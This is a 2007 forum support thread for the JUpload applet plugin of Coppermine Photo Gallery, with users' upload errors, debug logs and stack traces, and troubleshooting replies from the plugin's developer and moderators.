11:06:42.281 [DEBUG]   <td><img src="images/spacer.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG]   <td><img src="themes/rainy_day/images/button1_r1_c1.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG]   <td style="background-image:url(themes/rainy_day/images/button1_r1_c2.gif)">
11:06:42.281 [DEBUG]           <a href="search.php" title="Search the gallery">Search</a>
11:06:42.281 [DEBUG]   </td>
11:06:42.281 [DEBUG]   <td><img src="themes/rainy_day/images/button1_r1_c3.gif" width="5" height="25" border="0" alt="" /></td>
11:06:42.281 [DEBUG] <!-- END search -->
11:06:42.281 [DEBUG]                   </tr>
11:06:42.281 [DEBUG]           </table>
11:06:42.281 [DEBUG]   </div>
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]             <td style="background-image:url(themes/rainy_day/images/template_r4_c9.gif)">
11:06:42.281 [DEBUG]               <img src="images/spacer.gif" width="42" height="26" border="0" alt="" />
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]           </tr>
11:06:42.281 [DEBUG]         </table>
11:06:42.281 [DEBUG]       </td>
11:06:42.281 [DEBUG]     </tr>
11:06:42.281 [DEBUG]     <tr>
11:06:42.281 [DEBUG]       <td>
11:06:42.281 [DEBUG]         <table border="0" cellpadding="0" cellspacing="0" width="100%">
11:06:42.281 [DEBUG]           <tr>
11:06:42.281 [DEBUG]             <td style="background-image:url(themes/rainy_day/images/template_r5_c1.gif)">
11:06:42.281 [DEBUG]               <img src="images/spacer.gif" width="42" height="18" border="0" alt="" />
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]             <td style="background-image:url(themes/rainy_day/images/template_r5_c3.gif)">
11:06:42.281 [DEBUG]               <img src="images/spacer.gif" width="14" height="18" border="0" alt="" />
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]             <td width="100%" style="background-image:url(themes/rainy_day/images/template_r5_c4.gif)">
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]             <td style="background-image:url(themes/rainy_day/images/template_r5_c8.gif)">
11:06:42.281 [DEBUG]               <img src="images/spacer.gif" width="14" height="18" border="0" alt="" />
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]             <td style="background-image:url(themes/rainy_day/images/template_r5_c9.gif)">
11:06:42.281 [DEBUG]               <img src="images/spacer.gif" width="42" height="18" border="0" alt="" />
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]           </tr>
11:06:42.281 [DEBUG]         </table>
11:06:42.281 [DEBUG]       </td>
11:06:42.281 [DEBUG]     </tr>
11:06:42.281 [DEBUG]     <tr>
11:06:42.281 [DEBUG]       <td>
11:06:42.281 [DEBUG]         <table border="0" cellpadding="0" cellspacing="0" width="100%">
11:06:42.281 [DEBUG]           <tr>
11:06:42.281 [DEBUG]             <td style="background-image:url(themes/rainy_day/images/template_r6_c1.gif)">
11:06:42.281 [DEBUG]               <img src="themes/rainy_day/images/template_r6_c1.gif" width="42" height="328" border="0" alt="" />
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]             <td width="100%" style="background-image:url(themes/rainy_day/images/template_r6_c3.gif);padding-left: 10px; padding-right: 10px;">
11:06:42.281 [DEBUG]               
11:06:42.281 [DEBUG]               
11:06:42.281 [DEBUG] <!-- Start standard table -->
11:06:42.281 [DEBUG] <table align="center" width="95%" cellspacing="1" cellpadding="0" class="maintable">
11:06:42.281 [DEBUG]         <tr>
11:06:42.281 [DEBUG]                 <td class="tableh1" colspan="1">Error</td>
11:06:42.281 [DEBUG]         </tr>
11:06:42.281 [DEBUG] <!-- cpg_die -->
11:06:42.281 [DEBUG]         <tr>
11:06:42.281 [DEBUG]                 <td class="tableb" align="center">
11:06:42.281 [DEBUG]                         <font size="3"><b>You don't have permission to perform this operation.<BR><BR>If you're not connected, please <a href="login.php?referer=plugins/jupload/jupload.php">login</a> first</b></font>
11:06:42.281 [DEBUG]
11:06:42.281 [DEBUG]
11:06:42.281 [DEBUG]                         <br /><br />
11:06:42.281 [DEBUG]                 </td>
11:06:42.281 [DEBUG]         </tr>
11:06:42.281 [DEBUG]
11:06:42.281 [DEBUG] </table>
11:06:42.281 [DEBUG] <!-- End standard table -->
11:06:42.281 [DEBUG] <div class="footer" align="center" style="padding-top: 10px;">Powered by <a href="http://coppermine-gallery.net/" title="Coppermine Photo Gallery" rel="external">Coppermine Photo Gallery</a></div>
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]             <td style="background-image:url(themes/rainy_day/images/template_r6_c9.gif)">
11:06:42.281 [DEBUG]               <img src="themes/rainy_day/images/template_r6_c9.gif" width="42" height="328" border="0" alt="" />
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]           </tr>
11:06:42.281 [DEBUG]         </table>
11:06:42.281 [DEBUG]       </td>
11:06:42.281 [DEBUG]     </tr>
11:06:42.281 [DEBUG]     <tr>
11:06:42.281 [DEBUG]       <td>
11:06:42.281 [DEBUG]         <table border="0" cellpadding="0" cellspacing="0" width="100%">
11:06:42.281 [DEBUG]           <tr>
11:06:42.281 [DEBUG]             <td style="background-image:url(themes/rainy_day/images/template_r7_c1.gif)">
11:06:42.281 [DEBUG]               <img src="images/spacer.gif" width="42" height="45" border="0" alt="" />
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]             <td style="background-image:url(themes/rainy_day/images/template_r7_c3.gif)">
11:06:42.281 [DEBUG]               <img src="images/spacer.gif" width="208" height="45" border="0" alt="" />
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]             <td width="100%" style="background-image:url(themes/rainy_day/images/template_r7_c5.gif)">&nbsp;
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]             <td style="background-image:url(themes/rainy_day/images/template_r7_c6.gif)">
11:06:42.281 [DEBUG]               <img src="images/spacer.gif" width="208" height="45" border="0" alt="" />
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]             <td style="background-image:url(themes/rainy_day/images/template_r7_c9.gif)">
11:06:42.281 [DEBUG]               <img src="images/spacer.gif" width="42" height="45" border="0" alt="" />
11:06:42.281 [DEBUG]             </td>
11:06:42.281 [DEBUG]           </tr>
11:06:42.281 [DEBUG]         </table>
11:06:42.281 [DEBUG]       </td>
11:06:42.281 [DEBUG]     </tr>
11:06:42.281 [DEBUG]   </table>
11:06:42.281 [DEBUG]
11:06:42.281 [DEBUG]   <br />
11:06:42.281 [DEBUG]
11:06:42.281 [DEBUG]   <div align="center">
11:06:42.281 [DEBUG]     
11:06:42.281 [DEBUG]   </div>
11:06:42.281 [DEBUG]
11:06:42.281 [DEBUG]   
11:06:42.281 [DEBUG]   <div id="vanity">
11:06:42.281 [DEBUG]       <a id="v_php" href="http://www.php.net/" target="_blank"></a>
11:06:42.281 [DEBUG]       <a id="v_mysql" href="http://www.mysql.com/" target="_blank"></a>
11:06:42.281 [DEBUG]       <a id="v_xhtml" href="http://validator.w3.org/check/referer" target="_blank"></a>
11:06:42.281 [DEBUG]       <a id="v_css" href="http://jigsaw.w3.org/css-validator/check/referer" target="_blank"></a>
11:06:42.281 [DEBUG] </div>
11:06:42.281 [DEBUG]
11:06:42.281 [DEBUG] <!--Coppermine Photo Gallery 1.4.12 (stable)-->
11:06:42.281 [DEBUG] </body>
11:06:42.281 [DEBUG] </html>
11:06:42.296 [DEBUG] --------- Response Body End ---------
11:06:42.296 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "SUCCESS" was not found in the response body
11:06:42.296 [ERROR] at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:559)
11:06:42.296 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:687)
11:06:42.296 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:442)
11:06:42.296 [DEBUG] FileUploadThread: within run().finally
11:06:49.484 [DEBUG] PicturePanel.paint(): offscreenImage is null
11:06:49.593 [DEBUG] JUploadPanel: after !fileUploadThread.isAlive()
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on July 11, 2007, 07:32:16 pm
2nd part:

The problem is that the user's session is lost. The response sent to the applet is the JUpload authentication page.

- Did you change anything in the plugin (code, config ...) ?
- Are you using a test version of your gallery, created from your 'production' database ? It's possible that the plugin tries to access to the production site, but your session is opened from the test server. It's impossible to guess these things as you masked your URL !

If these points don't give an answer to you, please send me the real debug output, by mail for instance, to prevent everyone to see these masked info.

Etienne
Title: Re: Upload applet (JUpload)
Post by: SotY on July 11, 2007, 08:14:59 pm
The problem is that the user's session is lost. The response sent to the applet is the JUpload authentication page.

- Did you change anything in the plugin (code, config ...) ?
- Are you using a test version of your gallery, created from your 'production' database ? It's possible that the plugin tries to access to the production site, but your session is opened from the test server. It's impossible to guess these things as you masked your URL !

If these points don't give an answer to you, please send me the real debug output, by mail for instance, to prevent everyone to see these masked info.

Etienne

OK I found the problem. I'm using Maxthon 2.0 (IE engine powered browser) and script doesn't work when I have option "Clean browsing history on exit" with sub-options: "Undo List", "Browser History", "Address Bar Drop-Down List", "Cache Files" enabled. I'm not sure why it messes with the script cause I don't close browser after I run the script but anyway sorry for trouble, your script is working fine and thank you for great work and fast answer :)
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on July 11, 2007, 10:08:13 pm
Hi Etienne,

I have some problem with jupload in version
2.5.6 or 2.5.7 and IE 7 on windows vista.
(not tried with 2.5.8 )

So, I have the following error when I click
on the jupload link :

(http://autorespondeur.netfirms.com/error.jpg)
http://autorespondeur.netfirms.com/error.jpg (http://autorespondeur.netfirms.com/error.jpg)

I can't have access to this picture. The link is refused by the remote server.

I'll look for someone having Vista ....

Etienne
Title: Re: Upload applet (JUpload)
Post by: choupette549 on July 11, 2007, 10:42:25 pm
to Etienne :

I put a new link so that you can see the picture.

Thanks for your help
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on July 12, 2007, 01:15:22 pm
to Etienne :

I put a new link so that you can see the picture.

Thanks for your help

What a ridiculous error !
Do you know the French site: la-rache.com ? You could add your screenshot there ...   ;-)

More seriously. I imagine the problem is when calling Java. But I can't try it.

Test on Vista added to my todo list.

Etienne
Title: Re: Upload applet (JUpload)
Post by: scrambled egg on July 17, 2007, 01:28:10 am
Etienne,

I am using CPG v1.4.12 bridged with SMF forum.

When trying to upload the ZIP file using the Plugin Manager, I get the following after trying 5 times:

There was an error copying the package to the plugins folder.

Any ideas?

Title: Re: Upload applet (JUpload)
Post by: Nibbler on July 17, 2007, 01:53:29 am
Don't cross post; question already answered in your own thread.
Title: Re: Upload applet (JUpload) - note to Etienne
Post by: scrambled egg on July 17, 2007, 03:09:45 am
Yes, very sorry about this.  I posted here first and realized that I had to post somewhere else, and I did that and then had isp errors so I could not come back here right away to make a note. So this problem is SOLVED by doing a CHMOD 777 to the plugins folder.

@ Etienne

You have a fabulous plug-in, but may I suggest a few things to make life easier for those who use this plug-in:

* use checkboxes in front of each file, so that the user can just check the box of the file(s) he wants to upload.  Make sure to have a separate check box that says "check all".  In my case, I tried to upload several hundred files, and had to sit in front of the computer having to click BROWSE and then OPEN, and then BROWSE, and OPEN again also several hundred times.  So I may have saved a lot of time, but not as much as I would have wanted.

*change the word OPEN to ADD FILE, since the word OPEN is somewhat confusing for the type of function the plugin was designed.

Just my 2 cents.
 
Title: Re: Upload applet (JUpload) - note to Etienne
Post by: Joachim Mller on July 17, 2007, 08:50:50 am
In my case, I tried to upload several hundred files, and had to sit in front of the computer having to click BROWSE and then OPEN, and then BROWSE, and OPEN again also several hundred times.
That just doesn't make sense at all. Don't use this plugin, but what you already have: FTP-upload plus batch-add. It is (and will remain) the recommended method to upload a large number of files as admin. This plugin is fine if you use it for what it has been designed to do. Make sure that you have understood the upload methods built into coppermine's core first before randomly trying plugins.
Title: Re: Upload applet (JUpload) - note to Etienne
Post by: etienne_sf on July 17, 2007, 10:48:27 am
* use checkboxes in front of each file, so that the user can just check the box of the file(s) he wants to upload.  Make sure to have a separate check box that says "check all".  In my case, I tried to upload several hundred files, and had to sit in front of the computer having to click BROWSE and then OPEN, and then BROWSE, and OPEN again also several hundred times.  So I may have saved a lot of time, but not as much as I would have wanted.

The applet is designed to upload the files you've selected and added to it: if you have to many files, you can remove them from the file list. Jut do CTRL+Click to select the files you don't have to upload, then 'remove selected'.

About the hundred files upload: I think this applet is fine enough to that. As it's better integrated in the web site, it's really easier to use than the FTP mode:

But please note these points:


*change the word OPEN to ADD FILE, since the word OPEN is somewhat confusing for the type of function the plugin was designed.

I'll take a look to that. Not sure it's possible.

Regards
Etienne
Title: Re: Upload applet (JUpload)
Post by: scrambled egg on July 20, 2007, 03:17:23 pm
About the hundred files upload: I think this applet is fine enough to that. As it's better integrated in the web site, it's really easier to use than the FTP mode:

Select the category
Select the album
Drag and drop the file you want to upload
Click on the upload link!


Etienne, can you please be more specific about how to accomplish this? Not sure I follow it.  I select the category, then I select the album, and then where do I see the files that I want to drag and drop?  I don't seem to be able see the files anywhere unless I click on BROWSE, but when I click on BROWSE, then I am back to the same old problem I was talking about - BROWSE, OPEN, BROWSE, OPEN, BROWSE, OPEN, etc. etc. etc.

thanks for your help.
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on July 20, 2007, 05:38:28 pm
Select the category
Select the album
Drag and drop the file you want to upload
Click on the upload link!

Etienne, can you please be more specific about how to accomplish this? Not sure I follow it.  I select the category, then I select the album, and then where do I see the files that I want to drag and drop?  I don't seem to be able see the files anywhere unless I click on BROWSE, but when I click on BROWSE, then I am back to the same old problem I was talking about - BROWSE, OPEN, BROWSE, OPEN, BROWSE, OPEN, etc. etc. etc.

To add files, you can:

Regards
Etienne
Title: Re: Upload applet (JUpload)
Post by: scrambled egg on July 22, 2007, 04:02:03 am
Still have not tried your suggestion, but the whole morning today I was having problems with JUpload. After clicking on the JUpload button, I would get the progress bar at the bottom right of the screen and it would be extremely slow, and the most I got it to go, even after waiting for around 30 minutes (it usually takes only about one minute), was 5 bars.  I repeated the process several times, and still same result. 

Any ideas or suggestions?

thanks.
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on July 22, 2007, 06:57:49 pm
Any ideas or suggestions?

What action was running on ? I guess that 'preparing giles' was finished, and you was 'uploading files'. Correct ?

You wa probably running into a network problem. The question is: was the problem due to the applet or not... Hard to guess. If this occurs again, switch to debug mode (CTRL+Right click to open the popup menu), then copy the whole output, and send it by PM to me.

Etienne
Title: Re: Upload applet (JUpload)
Post by: fayoeu on July 23, 2007, 07:07:22 am
I have a weird problem on mac osx.  It works with Safari (3.0.2), but with firefox (2.0.0.5) jupload fails with the following.  I have also tested it on Visita's firefox and it works, also.

Code: [Select]
22:03:53.985 [INFO] Debug level set to 0
22:03:54.401 [WARN] Invalid int value: , using default value: 0
22:03:54.541 [INFO] JUpload plugin for coppermine version 2.5.8
22:04:42.445 [INFO] Debug level set to 1
22:04:42.486 [ERROR] Upload stopped with errors
22:04:42.486 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "SUCCESS" was not found in the response body
22:04:42.486 [ERROR] at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:559)
22:04:42.486 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:687)
22:04:42.486 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:442)
22:04:42.488 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "SUCCESS" was not found in the response body
22:04:42.488 [ERROR] at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:559)
22:04:42.488 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:687)
22:04:42.488 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:442)
22:04:47.641 [INFO] Debug level set to 100
22:04:47.641 [DEBUG] =======================================================================
22:04:47.642 [DEBUG] ======= Parameters managed by DefaultUploadPolicy
22:04:47.642 [INFO] JUpload applet, version 3.0.2b3 [SVN-Rev: 295] (05/07/2007 04:47 AM), available at http://jupload.sourceforge.net/
22:04:47.644 [DEBUG] Java version: 1.5.0_07
22:04:47.645 [DEBUG] Cookie: null
22:04:47.645 [DEBUG] userAgent: null
22:04:47.645 [DEBUG] List of all applet parameters:
22:04:47.646 [DEBUG]   language: us
22:04:47.646 [DEBUG]   country:
22:04:47.646 [DEBUG] afterUploadURL: null
22:04:47.647 [DEBUG] allowHttpPersistent: false
22:04:47.647 [DEBUG] allowedFileExtensions: /jpg/jpeg/jpe/gif/png/bmp/jpc/jp2/jpx/jb2/swc/iff/asf/asx/mpg/mpeg/wmv/swf/avi/mov/mp3/midi/mid/wma/wav/ogg/psd/ram/ra/rm/tiff/tif/doc/txt/rtf/pdf/xls/pps/ppt/zip/rar/gz/mdb/
22:04:47.647 [DEBUG] debug: 100
22:04:47.649 [DEBUG] filenameEncoding: null
22:04:47.649 [DEBUG] lang: us
22:04:47.650 [DEBUG] maxChunkSize: 9223372036854775807
22:04:47.650 [DEBUG] maxFileSize  : 9223372036854775807
22:04:47.650 [DEBUG] nbFilesPerRequest: 1
22:04:47.651 [DEBUG] postURL: http://neophoto.org/index.php?file=jupload/jupload&action=add_picture
22:04:47.651 [DEBUG] serverProtocol: HTTP/1.1
22:04:47.651 [DEBUG] showLogWindow: false
22:04:47.651 [DEBUG] specificHeaders: null
22:04:47.652 [DEBUG] stringUploadSuccess: SUCCESS
22:04:47.652 [DEBUG] stringUploadError: ERROR: (.*)
22:04:47.652 [DEBUG] urlToSendErrorTo: http://neophoto.org/index.php?file=jupload/jupload&action=log_error
22:04:47.653 [DEBUG]
22:04:47.653 [DEBUG] ======= Parameters managed by PictureUploadPolicy
22:04:47.653 [DEBUG] highQualityPreview : true
22:04:47.654 [DEBUG] pictureCompressionQuality : 0.8
22:04:47.654 [DEBUG] maxPicWidth : 5048, maxPicHeight : 5048
22:04:47.654 [DEBUG] realMaxPicWidth : 5048, realMaxPicHeight : 5048
22:04:47.655 [DEBUG] storeBufferedImage : false
22:04:47.655 [DEBUG] targetPictureFormat : null
22:04:47.655 [DEBUG]
22:04:47.656 [DEBUG] ======= Parameters managed by CoppermineUploadPolicy
22:04:47.656 [DEBUG] albumId : 44
22:04:47.656 [DEBUG]

Title: Re: Upload applet (JUpload)
Post by: etienne_sf on July 23, 2007, 10:48:32 am
I have a weird problem on mac osx.  It works with Safari (3.0.2), but with firefox (2.0.0.5) jupload fails with the following.  I have also tested it on Visita's firefox and it works, also.

The problem is in Firefox for Mac OS: the bridge (LiveConnect) between Java (the applet) and javascript (the navigator) doesn't exist! JUpload can't work on Firefox/MacOS.

  I'll add this to the JUpload FAQ.

Etienne
Title: Re: Upload applet (JUpload)
Post by: mickey2combs on August 02, 2007, 01:00:48 am
I have a really strange problem - when attempting to use the applet - every time I click on browse, it opens up two selection boxes, one of top of another.  This makes it impossible to select any files, because they conflict with each other.  I get the problem on your test site as well, so its clearly a problem with my setup (Java?) but being a newbie to all this I am at a bit of loss to understand what I am doing wrong.  I am using the latest version of the plugin and have Java 6 update 2 installed and am running Windows XP.  I have uninstalled and resinstalled java and the plugin with no joy.  Be grateful of any assistance as this looks like it could be a really useful tool.

Thanks

Title: Re: Upload applet (JUpload)
Post by: etienne_sf on August 02, 2007, 10:05:43 am
I have a really strange problem - when attempting to use the applet - every time I click on browse, it opens up two selection boxes, one of top of another.  This makes it impossible to select any files, because they conflict with each other.  I get the problem on your test site as well, so its clearly a problem with my setup (Java?) but being a newbie to all this I am at a bit of loss to understand what I am doing wrong.  I am using the latest version of the plugin and have Java 6 update 2 installed and am running Windows XP.  I have uninstalled and resinstalled java and the plugin with no joy.  Be grateful of any assistance as this looks like it could be a really useful tool.

I can't repeat it
??

I can't update java 6 to update 2, as it doesn't accept to install the update in another disk than C:
Ridiculus !


FYI: instead of using the file chooser, which is obviously KO for you, you can use drag'n'drop. Really easier and faster.
You can drag and drop files from your windows explorer, or must of photo explorer. I use ACSSee for that.


Etienne
Title: Open applet in new window?
Post by: dwizer on August 02, 2007, 10:39:13 am
Hi!

Is there any way to have the upload applet open in a new fixed window? I'm using the theme "i-feel-dirty" and the upload applet is bigger then the theme size :(

plz help!

Thanks
/ DwIzEr
Title: Re: Open applet in new window?
Post by: etienne_sf on August 02, 2007, 01:07:40 pm
Is there any way to have the upload applet open in a new fixed window? I'm using the theme "i-feel-dirty" and the upload applet is bigger then the theme size :(

Hi,

You can change the applet size yourself. I'll add a new config parameter fr the moment. Here is quick patch that you can do yourself:

You should then see all the applet !

Regards
Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on August 03, 2007, 11:00:34 pm
Hi,

  I'll be off until august, 27....

I'll probably won't be able to access to the web... Hope nobody will get in trouble with JUpload during this time.

Regards
Etienne
Title: Re: Upload applet (JUpload)
Post by: Farnsi on August 04, 2007, 04:15:15 pm
Hi etienne, i have tested the 2.6.0 beta and it works fine. but allow me one little question, what does the popup try to tell me which occurs when i choose a category. it only shows a number without any explanation and i can't interpret what this means.

greetings, Farnsi


edit: ok, stoopid me! now i know that this is the category id. but what is the reason for showing this popup?

edit2: i know you cannot read this right now but i'm still reporting, what i have found out while testing your current beta.
i have problems choosing the last folder in the last layer of the picturfolders on my hdd. you can only choose the whole folder and you cannot open the last folder in the last layer. for this particular reason i downgraded to 2.5.8 until you get back online.

merci for your incredible work, really awesome!  :)
Title: Re: Upload applet (JUpload)
Post by: tbluhp on August 12, 2007, 04:28:59 am
I installed it and now I cannot get the plugin to work this is my site
http://tbluhp.profusehost.net/photos/jupload.php
Title: Re: Upload applet (JUpload)
Post by: Sami on August 12, 2007, 08:18:25 am
I've got Page not found 404 error
Post a test (non admin) account too
Title: Re: Upload applet (JUpload)
Post by: Joachim Mller on August 12, 2007, 09:30:06 am
@tbluhp: you have an open thread on the uploads board. Resolve that first (making sure that the upload features coppermine comes with out-of-the-box are working in the first place) before trying to add more features. Your issues may or may not be related to JUpload. It is very likely that they are related to the fact that "regular", coppermine-driven uploads don't work in the first place.
Bottom line: stay out of this thread untill you have fixed all other remaining issues.
Title: Re: Upload applet (JUpload)
Post by: MrChance on August 15, 2007, 12:14:50 am
Hi !

I just installed Coppermine 1.4.12 and Jupload 2.6 Beta.
(with the plugin zip-upload, the subdirectories were empty.
So I corrected that manually and than clicked "I-nstall" in
the plugin-manager)

The Configuration and the JUpload-Button appeared. But when
I click the JUpload-Button nothing happens (Site is on ?file=jupload/jupload)

I am waiting for you ... :-)


------
EDIT:  when i change from admin to a normal user, the first upload site appears (where i can select the album).
After creating a new album, nothing happens again.


Title: Re: Upload applet (JUpload)
Post by: bbonafied on August 23, 2007, 01:57:03 pm
Hi everyone!

I got this little problem that I can't figure out.

When I try to create a new album via the jupload I got this code back from the server:
Code: [Select]
While executing query "INSERT INTO cpg_albums (category, title, description, uploads, pos)  SELECT '3', 'nytt', '', 'NO',  IFNULL(MAX(pos),101)  FROM cpg_albums WHERE category = '3' " on 0

mySQL error: Not unique table/alias: 'cpg_albums'


This happen when loged in as admin in user modeand admin mode. Also when loged in as a member.
What I can do is: update excisting albums and upload to them via jupload.

The regular uplod is working fine.

So, what to do, Anyone?
Title: Re: Upload applet (JUpload)
Post by: ukmgranger on August 24, 2007, 09:40:30 am
It's a standard PHP file. Just open it, it should be really easy to update ...

Etienne

Hi There, I am a real newbe - I also don't really know a great deal about PHP.  Can someone give me an example of what the user.inc.php file should contain, to make changes to the original text?

Thanks
Title: Re: Upload applet (JUpload)
Post by: eka on August 25, 2007, 05:28:36 pm
Hi !
I just loaded this plug-in.
I got this funny situation - the operational buttons in my pluginmgr page lies outside the box (on the right).
See:  http://www.photograffs.com/pluginmgr.php

What do I need to do to keep the buttons inside the box like all the other plugins.

Appreciate any help.

Eka.
Title: Re: Upload applet (JUpload)
Post by: Nibbler on August 25, 2007, 05:42:12 pm
Post a screenshot.

Also: update your gallery!
Title: Re: Upload applet (JUpload)
Post by: eka on August 26, 2007, 08:47:13 am
Hi Nibbler,
thanks for the quick reply.
Tried, but can't paste the screen shot here.
Also, not sure what I need to do when you say "update your gallery".

I think you can see it here:  http://www.photograffs.com/pluginmgr.php

Appreciate any help I can get.
Title: Re: Upload applet (JUpload)
Post by: eka on August 26, 2007, 08:50:00 am
Hi again,

There's another problem I faced with this plugin.
When I click the "create album" button, I get this error message:

"Script called without the required parameter(s). (category) "

What's this, and how can I get it corrected.

Thanks.
Title: Re: Upload applet (JUpload)
Post by: Joachim Mller on August 26, 2007, 11:39:55 am
That's why you're supposed to upgrade: you're running cpg1.4.8, while the most recent stable release currently is cpg1.4.12. You're running behind 4 versions. We're not going to discuss issues with you that may or may not be related to the plugin unless you upgrade. Do not clutter this thread with remarks about issues that are being caused by something completely different (i.e. your reluctance to upgrade).

I think you can see it here:  http://www.photograffs.com/pluginmgr.php
That is bullshit: of cource the plugin manager is only accessible for you as admin. For us, it isn't visible at all.

Tried, but can't paste the screen shot here.
Obvioulsy, you can paste an image into a text input field of a forum. Learn www basics first. Use "additional options" to add a screenshot when composing your message, using the file upload mechanism that shows up there.


Also, not sure what I need to do when you say "update your gallery".
RTFM: http://coppermine-gallery.net/demo/cpg14x/docs/index.htm#14

Stay out of this thread, at least untill you have upgraded.
Title: Albums not displaying
Post by: skidpics on August 27, 2007, 07:02:31 am
Just installed the applet - logged in as Admin, When I select a category, the album icon just keep spinning, but gives me no results..

Any ideas?
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on August 27, 2007, 10:15:05 pm

Ok, I'm back ...  Let's go    :P

edit: ok, stoopid me! now i know that this is the category id. but what is the reason for showing this popup?

Just an uncleaned debug message. Now removed on my current version.

edit2: i know you cannot read this right now but i'm still reporting, what i have found out while testing your current beta.
i have problems choosing the last folder in the last layer of the picturfolders on my hdd. you can only choose the whole folder and you cannot open the last folder in the last layer. for this particular reason i downgraded to 2.5.8 until you get back online.

Noted. I'll check that.

merci for your incredible work, really awesome!  :)

 8)
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on August 27, 2007, 10:17:24 pm
I installed it and now I cannot get the plugin to work this is my site
http://tbluhp.profusehost.net/photos/jupload.php

This URL doesn't exist. You should :
1) Upload the plugin (see the plugin doc)
2) Install it (see the plugin doc)
3) Access to it, through the JUpload entry, that should appeat in the menu.

Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on August 27, 2007, 10:27:51 pm
Hi There, I am a real newbe - I also don't really know a great deal about PHP.  Can someone give me an example of what the user.inc.php file should contain, to make changes to the original text?

These are quite undocumented ... and too old now !

If you want to change the JUpload link title or comment, go to the JUpload configuration page. It's now a standard parameter.
It's available since version 2.5.5.

Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on August 27, 2007, 10:33:59 pm
Hi !
I just loaded this plug-in.
I got this funny situation - the operational buttons in my pluginmgr page lies outside the box (on the right).
See:  http://www.photograffs.com/pluginmgr.php

What do I need to do to keep the buttons inside the box like all the other plugins.

I second GauGau: this page can only be seen by the admin.  So, it doesn't seem too be really important.

I noticed that with some theme (but I can not reproduce it now, perhaps solved...). As you used a special theme, I guess the bug is in the theme itself.

Now the question is: do upload work with JUpload on your site ? 
I guess yes, as you didn't make any comment about it...

Etienne
Title: Re: Albums not displaying
Post by: etienne_sf on August 27, 2007, 10:36:01 pm
Just installed the applet - logged in as Admin, When I select a category, the album icon just keep spinning, but gives me no results..

Any ideas?

No.

Which version do you use (JUpload, Coppermine) ?
Do you have a very important number of categories ?
Can you give me a temporary admin account ?

Etienne
Title: Re: Albums not displaying
Post by: skidpics on August 27, 2007, 11:48:59 pm
No.

Which version do you use (JUpload, Coppermine) ?
Do you have a very important number of categories ?
Can you give me a temporary admin account ?

Etienne


Done.  Will send you a PM.. Thanks!
Title: Re: Albums not displaying
Post by: etienne_sf on August 28, 2007, 12:24:57 pm
Done.  Will send you a PM.. Thanks!

Hi,

  You have javascript error in your page. I think that it hangs javascript, and thus prevents the AJAX script of JUpload to work.

Here is the javascript error:
Erreur : missing ; before statement
Fichier source : http://skidpics.com/index.php?file=jupload/jupload
Ligne : 168, Colonne : 8
Code source :
<script type="text/javascript" src="http://www.statcounter.com/counter/counter_xhtml.js"></script><noscript><div class="statcounter"><a class="statcounter" href="http://www.statcounter.com/"><img class="statcounter" src="http://c21.statcounter.com/2246463


I found that you have these problems:
- This script tag is after the </body> and </html> tags
- It is duplicated.

There may also be a problem in the js file itself...

Etienne
Title: Re: Albums not displaying
Post by: skidpics on August 28, 2007, 10:58:40 pm
Hi,

  You have javascript error in your page. I think that it hangs javascript, and thus prevents the AJAX script of JUpload to work.

Here is the javascript error:
Erreur : missing ; before statement
Fichier source : http://skidpics.com/index.php?file=jupload/jupload
Ligne : 168, Colonne : 8
Code source :
<script type="text/javascript" src="http://www.statcounter.com/counter/counter_xhtml.js"></script><noscript><div class="statcounter"><a class="statcounter" href="http://www.statcounter.com/"><img class="statcounter" src="http://c21.statcounter.com/2246463


I found that you have these problems:
- This script tag is after the </body> and </html> tags
- It is duplicated.

There may also be a problem in the js file itself...

Etienne


Check it and fixed it..

moved the counter above the </html>..

Thanks a lot for figuring that out for me.. !!  Working fine now.  You can use the admin login to check it out if you like..

Thanks a bunch!
Title: Re: Albums not displaying
